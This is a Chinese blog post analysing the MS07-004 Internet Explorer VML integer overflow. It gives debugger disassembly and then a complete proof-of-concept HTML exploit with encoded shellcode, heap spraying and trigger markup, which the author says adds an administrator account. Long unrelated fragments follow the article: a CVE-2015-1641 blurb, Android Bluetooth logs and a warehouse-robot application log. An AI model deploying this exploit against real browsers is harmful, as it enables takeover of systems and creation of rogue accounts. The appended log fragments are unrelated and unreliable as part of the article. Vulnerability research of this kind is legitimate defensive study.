MS07-004分析

最新推荐文章于 2025-03-18 21:17:29 发布
转载 最新推荐文章于 2025-03-18 21:17:29 发布 · 1.6k 阅读 · 0
文章标签：

#c #integer #object #javascript #behavior #blog

by  幻影团长

 万众瞩目的MS07-004终于POC出炉了，之前小弟一直因为eeye的补丁比较工具bindiff在罢工，再加上一些琐事缠身，所以也没好好看这个漏洞。


今天在eong兄和milw0rm上那位公布poc的老兄的基础上，好好跟了下这个漏洞。

以下所有调试过程都是在简体中文版的XP SP2 Pro上进行的。


首先，看写别人比较出来的




因为他是在韩文系统上比较出来的，所以在中文版地址上有些不同，其实关系不大，只需要用OD
搜 imul eax, eax, 2ch

就可以定位到问题了。

在我的系统上是：

Codz:


6FF176A5    5F              POP EDI
6FF176A6    5B              POP EBX
6FF176A7    8B46 08         MOV EAX,DWORD PTR DS:[ESI+8]
6FF176AA    0346 04         ADD EAX,DWORD PTR DS:[ESI+4]
6FF176AD    85C0            TEST EAX,EAX
6FF176AF    7E 13           JLE SHORT vgx.6FF176C4
6FF176B1    6BC0 2C         IMUL EAX,EAX,2C                     ;相乘，整数溢出
6FF176B4    68 01010000     PUSH 101
6FF176B9    50              PUSH EAX
6FF176BA    E8 3588FBFF     CALL vgx.6FECFEF4             ; malloc()
6FF176BF    59              POP ECX
6FF176C0    59              POP ECX
6FF176C1    8946 14         MOV DWORD PTR DS:[ESI+14],EAX
6FF176C4    B0 01           MOV AL,1
6FF176C6    5E              POP ESI
6FF176C7    5D              POP EBP
6FF176C8    C2 0C00         RETN 0C



这里是因为没有针对eax做检查，导致了整数溢出

相乘后，反而使malloc(eax*2ch)的空间变小了


在后来有一个movs的操作，会把内存一片片的拷到刚才malloc出来的地方。


在这个过程中，会覆盖掉 mshtml.dll中的一个虚函数保存在堆里的指针。


Codz:

call   [ecx + 10h]



而这里的ecx正好是我们可以控制的。



在这里不得不提以下，漏洞触发的两个关键地方：

第一个:
Codz:

<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">



这里后面的大整数可以是numcolors, 也可以放在numfills ，我这里放在了numfills里，其实都差不多。

Codz:

6FF176A7    8B46 08         MOV EAX,DWORD PTR DS:[ESI+8]
6FF176AA    0346 04         ADD EAX,DWORD PTR DS:[ESI+4]


因为这两句会把这个大整数传递给EAX，在后面给eax*2ch 用



第二个关键的地方是：
Codz:

<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />



参数或许还有可以精简的地方，我没细改了。

在这里， rgb(a,b,c)
这里的a, b , c 可以直接传递到内存里面去，也会直接传递给后面的ecx

从而我们可以控制 call [ecx + 10h]

在这里，因为rgb只有3个参数，所以，地址的第一个字节只能是0x00


我在这里选择了rgb(90,22,64)

实际上就是 ： 0x0040165A
这个地址是在iexplorer.exe里的
注意：不同系统和不同语言的这个地址可能会不同

至于如何通用这里就不提到了，因为这里也跟eong兄讨论过的，不方便发出来。

这个地址加10h

就是 0x0040166A

他指向了 0x0c15xxxx 而这个地址是正好落在我们的heap spray中间的，所以就跳转到了我们的shellcode。


下面是我们的POC， 如果一切正常，会在你的系统你添加一个帐户名为axis的管理员帐户。

另外这个漏洞比上次的ms06-055要好，可以恢复栈平衡，达到不挂ie的效果




Codz:

<!--

MS07-004 VML integer overflow exploit
  by axis@ph4nt0m.org

-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u3749%u4949%u4949"+
"%u4949%u5a51%u636a%u3058%u3041%u4150%u416b%u7341%u4142%u4132%u3241%u4142%u4230%u5841"+
"%u4138%u5042%u4d75%u3939%u396c%u4178%u4754%u7770%u4370%u6c30%u674b%u7735%u4c4c%u334b"+
"%u754c%u3155%u5768%u6a71%u4e4f%u426b%u626f%u6c38%u434b%u756f%u5670%u4861%u316b%u6e59"+
"%u306b%u6c34%u534b%u3831%u576e%u4b41%u4e70%u6c79%u6d6c%u5954%u6150%u3464%u4f47%u4b31"+
"%u647a%u454d%u4951%u6a52%u7a4b%u4554%u326b%u7674%u3344%u7234%u7a55%u6c45%u614b%u774f"+
"%u4554%u4851%u426b%u4c46%u764b%u706c%u6e4b%u416b%u554f%u744c%u6a41%u4e4b%u556b%u4e4c"+
"%u356b%u7a51%u4f4b%u3179%u344c%u6564%u4b54%u3573%u6f61%u5030%u4e64%u376b%u5430%u6b70"+
"%u6f35%u4130%u3468%u6c4c%u774b%u3430%u4c4c%u504b%u3770%u4c6c%u6e6d%u506b%u6468%u3848"+
"%u456b%u4e59%u4d6b%u6e50%u6750%u5570%u4550%u6c50%u504b%u3768%u614c%u764f%u6b51%u3546"+
"%u7130%u6f46%u4c79%u6d38%u3953%u4150%u706b%u3050%u6168%u4e6e%u6b38%u7052%u3273%u4d48"+
"%u5948%u6d6e%u565a%u766e%u4b37%u4a4f%u5247%u7243%u314d%u7474%u356e%u7035%u7578%u3735"+
"%u4650%u724f%u3543%u7070%u706e%u3065%u7174%u4330%u5245%u4253%u3045%u3772%u7050%u6461"+
"%u7038%u6269%u3553%u4170%u5177%u3075%u726e%u4149%u3365%u7743%u4650%u334f%u4371%u7374"+
"%u4174%u4530%u5176%u5736%u3250%u334e%u4155%u4764%u6250%u724c%u334f%u5353%u3051%u526c"+
"%u3347%u7042%u336f%u7245%u3150%u4330%u4371%u5054%u336d%u7259%u714e%u3079%u4173%u7164"+
"%u4262%u3241%u7054%u616f%u5062%u6773%u3150%u6471%u3038%u7269%u3553%u7670%u324f%u3161"+
"%u3254%u4564%u6350");


bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">

<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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<v:recolorinfoentry tocolor="rgb(90,22,64)"  
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</html>



(注意论坛可能会把代码里的"/"过滤掉)




BTW: 幻影exploit研究院出品，必属精品！



另外给小弟的blog打下广告，因为好象实在是太冷清了： http://blog.donews.com/axis
这个blog有跨站，我也没放任何重要的东西在里面，所以请大家就不要破坏了




我这个exp版本是有缺陷的，所以想直接拿来用的朋友们要失望了，本贴以技术研究为主，谢谢！
iiprogram
关注
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MS Office CVE-2015-1641 恶意 Exploit 样本分析 在对最近的一个恶意 MS Office 文档样本进行分析时，我们发现了一些有趣的特性。这个文档利用 CVE-2015-1641 来释放和执行一个名为 Troldesh 的勒索软件。 本文我们会先分析漏洞成因，随后分析攻击者是如何让恶意文档躲避检测的。 RTF 文档 我们要分析的 RTF 文档哈希值为72b1...
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搜索 "bluetoothkeystore" （1个文件中匹配到21次，总计查找1次） [正则] C:\Users\rivotek\Desktop\bugreport-2025-07-23-093955\bugreport-REDMI K80-2025-07-23-094343\bugreport-zorn-AQ3A.240829.003-2025-07-23-09-39-55.txt （匹配21次） 行 2882719: 07-23 09:40:40.978 1002 28142 28142 D BluetoothAdapterService: cleanup(): mBluetoothKeystoreService.cleanup() 行 2882720: 07-23 09:40:40.978 1002 28142 28142 D BluetoothKeystoreService: cleanup 行 2882721: 07-23 09:40:40.978 1002 28142 28142 D BluetoothKeystoreService: cleanup() called before start() 行 2883368: 07-23 09:40:41.647 1002 22706 22706 D BluetoothKeystoreService: new BluetoothKeystoreService isCommonCriteriaMode: false 行 2883369: 07-23 09:40:41.647 1002 22706 22706 I BluetoothKeystoreService: ComputeDataThread: create, doEncrypt: true 行 2883370: 07-23 09:40:41.647 1002 22706 22706 I BluetoothKeystoreService: ComputeDataThread: create, doEncrypt: false 行 2883371: 07-23 09:40:41.647 1002 22706 22706 D BluetoothKeystoreService: start 行 2883378: 07-23 09:40:41.658 1002 22706 22784 I BluetoothKeystoreService: ComputeDataThread: run, doEncrypt: false 行 2883379: 07-23 09:40:41.660 1002 22706 22783 I BluetoothKeystoreService: ComputeDataThread: run, doEncrypt: true 行 2883380: 07-23 09:40:41.663 1002 22706 22706 D BluetoothKeystoreService: loadConfigData 行 2883381: 07-23 09:40:41.663 1002 22706 22783 I BluetoothKeystoreService: Interrupted while operating. 行 2883382: 07-23 09:40:41.663 1002 22706 22783 I BluetoothKeystoreService: ComputeDataThread: Stop, doEncrypt: true 行 2883383: 07-23 09:40:41.664 1002 22706 22784 I BluetoothKeystoreService: Interrupted while operating. 行 2883384: 07-23 09:40:41.664 1002 22706 22784 I BluetoothKeystoreService: ComputeDataThread: Stop, doEncrypt: false 行 2883385: 07-23 09:40:41.664 1002 22706 22706 D BluetoothKeystoreService: getCompareResult: 0 行 2884092: 07-23 09:40:41.863 1002 22706 22706 D BluetoothKeystoreService: initJni() 行 2884093: 07-23 09:40:41.863 1002 22706 22706 I BluetoothKeystoreService: ComputeDataThread: create, doEncrypt: true 行 2884094: 07-23 09:40:41.863 1002 22706 22706 I BluetoothKeystoreService: ComputeDataThread: create, doEncrypt: false 行 2884106: 07-23 09:40:41.864 1002 22706 22816 I BluetoothKeystoreService: ComputeDataThread: run, doEncrypt: true 行 2884118: 07-23 09:40:41.869 1002 22706 22817 I BluetoothKeystoreService: ComputeDataThread: run, doEncrypt: false
09-17
07-23 09:35:00.004 1000 3126 6022 D BluetoothSystemServer: BluetoothManagerService: isBleAppPresent(): Number of BLE app registered: 0 ... 07-23 09:40:39.258 1000 3126 6031 D BluetoothSystemServer: ...
[application-ess-pinned-dispatcher-550] 2025-09-24 10:50:25,718 [INFO] from c.h.e.a.o.a.v.EssChargeV2Adapter-line:167 - charge force charge robotCodes: [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,011 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:104 - station: CS-01 location: CS-01-003-01 switch to back by non-robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleCallRobot-line:86 - station: CS-01 location code: LT_CACHE_SHELF_ENTRY:POINT:5169:10596 call robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:152 - station: CS-01 load ok, because location: CS-01-003-01 has the container [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:104 - station: CS-01 location: CS-01-003-02 switch to back by non-robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:152 - station: CS-01 load ok, because location: CS-01-003-02 has the container [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:104 - station: CS-01 location: CS-01-002-03 switch to back by non-robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:152 - station: CS-01 load ok, because location: CS-01-002-03 has the container [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:104 - station: CS-01 location: CS-01-002-01 switch to back by non-robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:152 - station: CS-01 load ok, because location: CS-01-002-01 has the container [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:104 - station: CS-01 location: CS-01-002-02 switch to back by non-robot [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.e.a.s.k.EssKubotStationHandleLoadContainer-line:152 - station: CS-01 load ok, because location: CS-01-002-02 has the container [application-ess-core-dispatcher-77] 2025-09-24 10:50:44,012 [INFO] from c.h.eventp.common.FileUtils-line:27 - create file-/hairou/data/map-model/202509241050-244.dat . [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,012 [INFO] from c.h.eventp.common.FileUtils-line:27 - create file-/hairou/data/ess-model/202509241050-9958.dat . [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,023 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: 79388591-17c1-4ff0-ae02-66607bfe9e63 is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-003-004-02], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,023 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: 31405265-e658-4e99-8101-8fed33ba6ab8 is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-003-004-03], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,023 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: f13b351c-2d54-4868-bd2e-5969ceb3ab95 is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-001-004-01], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,024 [INFO] from callback.EventCallbackHandler-line:888 - produce callback: 1844111992709120000 message: {"eventCode":"CALLBACK_OF_TASK_CANCELLED","taskGroupCode":"taskGroupCode-001","taskCode":"f13b351c-2d54-4868-bd2e-5969ceb3ab95","taskStatus":"CANCELLED","taskTemplateCode":"","updateTime":1758682244023,"containerCode":"A000000022","callId":"1844111992709120000"} [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,024 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: 49adc30f-1c03-4c9a-8d54-44f8bf490b71 is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-001-004-01], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-556] 2025-09-24 10:50:44,024 [INFO] from callback.CallbackActor-line:223 - update lastCallbackId: 1844111992709120000 [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,024 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: d480d65c-f888-498a-8461-29d35934b1ae is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-002-004-01], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-556] 2025-09-24 10:50:44,024 [INFO] from callback.CallbackActor-line:149 - send http://10.241.7.51:9046/callback/task/cancel retry: 0 callbackId: 1844111992709120000 data {"eventCode":"CALLBACK_OF_TASK_CANCELLED","taskGroupCode":"taskGroupCode-001","taskCode":"f13b351c-2d54-4868-bd2e-5969ceb3ab95","taskStatus":"CANCELLED","taskTemplateCode":"","updateTime":1758682244023,"containerCode":"A000000022","callId":"1844111992709120000"} [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:44,024 [INFO] from c.h.e.a.tms.EssWmsTaskProcessor-line:264 - wmsTask[TMS]: da90de7c-a8c4-4aa4-8ed9-622be0a58ef8 is created, taskType: TMS, priority: 0, groupPriority: 0, destinationCodes: [HAI-003-004-01], wmsStationCodes: [LA_SHELF_STORAGE] [application-ess-pinned-dispatcher-556] 2025-09-24 10:50:44,060 [INFO] from callback.CallbackActor-line:149 - send http://10.241.7.51:9046/callback/task/cancel retry: 1 callbackId: 1844111992709120000 data {"eventCode":"CALLBACK_OF_TASK_CANCELLED","taskGroupCode":"taskGroupCode-001","taskCode":"f13b351c-2d54-4868-bd2e-5969ceb3ab95","taskStatus":"CANCELLED","taskTemplateCode":"","updateTime":1758682244023,"containerCode":"A000000022","callId":"1844111992709120000"} [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,070 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-01 send command: mode LIGHT, color RED, text JH42920250924-0004, number 10, created time 1758682244070. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,070 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 4, 0, -1, 15, 8, 17, 16, 0, 0, 0, 1, 0, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,078 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 8ms. [application-ess-pinned-dispatcher-556] 2025-09-24 10:50:44,093 [INFO] from callback.CallbackActor-line:149 - send http://10.241.7.51:9046/callback/task/cancel retry: 2 callbackId: 1844111992709120000 data {"eventCode":"CALLBACK_OF_TASK_CANCELLED","taskGroupCode":"taskGroupCode-001","taskCode":"f13b351c-2d54-4868-bd2e-5969ceb3ab95","taskStatus":"CANCELLED","taskTemplateCode":"","updateTime":1758682244023,"containerCode":"A000000022","callId":"1844111992709120000"} [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,098 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-03 send command: mode LIGHT, color RED, text JH42920250924-0004, number 5, created time 1758682244098. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,098 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 6, 0, -1, 15, 8, 17, 16, 0, 0, 0, 0, 5, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,108 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-556] 2025-09-24 10:50:44,123 [INFO] from callback.CallbackActor-line:149 - send http://10.241.7.51:9046/callback/task/cancel retry: 3 callbackId: 1844111992709120000 data {"eventCode":"CALLBACK_OF_TASK_CANCELLED","taskGroupCode":"taskGroupCode-001","taskCode":"f13b351c-2d54-4868-bd2e-5969ceb3ab95","taskStatus":"CANCELLED","taskTemplateCode":"","updateTime":1758682244023,"containerCode":"A000000022","callId":"1844111992709120000"} [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,128 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-003-02 send command: mode LIGHT, color RED, text JH42920250924-0004, number 5, created time 1758682244128. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,128 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 8, 0, -1, 15, 8, 17, 16, 0, 0, 0, 0, 5, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,138 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,158 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-03 send command: mode LIGHT, color RED, text JH42920250924-0004, number 5, created time 1758682244158. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,158 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 6, 0, -1, 15, 8, 17, 16, 0, 0, 0, 0, 5, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,168 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,188 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-003-01 send command: mode LIGHT, color RED, text JH42920250924-0004, number 10, created time 1758682244188. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,188 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 7, 0, -1, 15, 8, 17, 16, 0, 0, 0, 1, 0, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,198 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,218 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:256 - 10.204.51.88:6020 tag CS-01-002-02 send command: mode LIGHT, color RED, text JH42920250924-0004, number 5, created time 1758682244218. [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,218 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:261 - 10.204.51.88:6020 send bytes: [0, 5, 0, -1, 15, 8, 17, 16, 0, 0, 0, 0, 5, 16, 1, 0, 0, 0, 0, 0] [application-ess-pinned-dispatcher-549] 2025-09-24 10:50:44,228 [INFO] from c.h.e.a.e.p.rybo.EssPtlRyboActor-line:195 - 10.204.51.88:6020 send command finish, cost: 10ms. [application-ess-pinned-dispatcher-563] 2025-09-24 10:50:45,119 [INFO] from c.h.e.a.solver.AlgoMcCallSolver-line:151 - agv: kubot-1 call for task CS-01:call-1844111992696083712 to destination: LT_CACHE_SHELF_ENTRY:POINT:5169:10596 [application-ess-pinned-dispatcher-563] 2025-09-24 10:50:45,119 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:154 - mc v2 version: 1.0 solve cost 1ms useSameActor: false,cost 1 ms, solutions count: 1 [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:45,120 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:4059 - Robot #1 work state update from OTHER to WORKING [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:45,120 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:1386 - Robot #1 assigned tasks: [CS-01:call-1844111992696083712#0] after update , updateCount 1 when robot state is IDLE, update task mode is PUSH_COVER. [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:45,121 [INFO] from c.h.e.a.o.algo.v2.EssMcV2Adapter-line:226 - assign task done cost ms: 2, current sequence: 16207 next sequence: 16207 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:45,269 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14361 plan cost 2ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:45,269 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:call-1844111992696083712#0 then lock points: [POINT:6454:2881#270, POINT:6454:3371#270, POINT:6454:3698#270, POINT:6454:4248#270, POINT:6454:4798#270, POINT:6454:5248#270, POINT:6454:5698#270, POINT:6454:6248#270, POINT:6454:6798#270, POINT:6454:7248#270, POINT:6454:7698#270, POINT:6454:8248#270, POINT:6454:8798#270, POINT:6454:9292#270, POINT:6454:9787#270, POINT:6454:10281#270, POINT:6454:10596#270], lock container theta: [],intended destinations: [LT_CACHE_SHELF_ENTRY:POINT:5169:10596#0],dest point: POINT:5169:10596 is move finished: false. [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:45,270 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost ms: 1, current sequence: 16209 next sequence: 16209 [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:48,368 [INFO] from c.h.e.a.o.EssObserverManager-line:897 - build all env points at sequence 16221 [application-ess-pinned-dispatcher-562] 2025-09-24 10:50:48,368 [INFO] from c.h.e.a.o.algo.v2.EssAlgoV2Actor-line:96 - round 14374 plan cost 0ms [application-ess-pinned-dispatcher-545] 2025-09-24 10:50:48,369 [INFO] from c.h.e.a.r.kubot.EssKubotEntity-line:2186 - Robot #1 update path for task: CS-01:call-1844111992696083712#0 then lock points: [POINT:6454:3371#270, POINT:6454:3698#270, POINT:6454:4248#270, POINT:6454:4798#270, POINT:6454:5248#270, POINT:6454:5698#270, POINT:6454:6248#270, POINT:6454:6798#270, POINT:6454:7248#270, POINT:6454:7698#270, POINT:6454:8248#270, POINT:6454:8798#270, POINT:6454:9292#270, POINT:6454:9787#270, POINT:6454:10281#270, POINT:6454:10596#270, POINT:6454:10596#180, POINT:5964:10596#180], lock container theta: [],intended destinations: [LT_CACHE_SHELF_ENTRY:POINT:5169:10596#0],dest point: POINT:5169:10596 is move finished: false. [application-ess-pinned-dispatcher-550] 2025-09-24 10:50:48,369 [INFO] from c.h.e.a.o.algo.v2.EssPpV2Adapter-line:58 - update path done cost 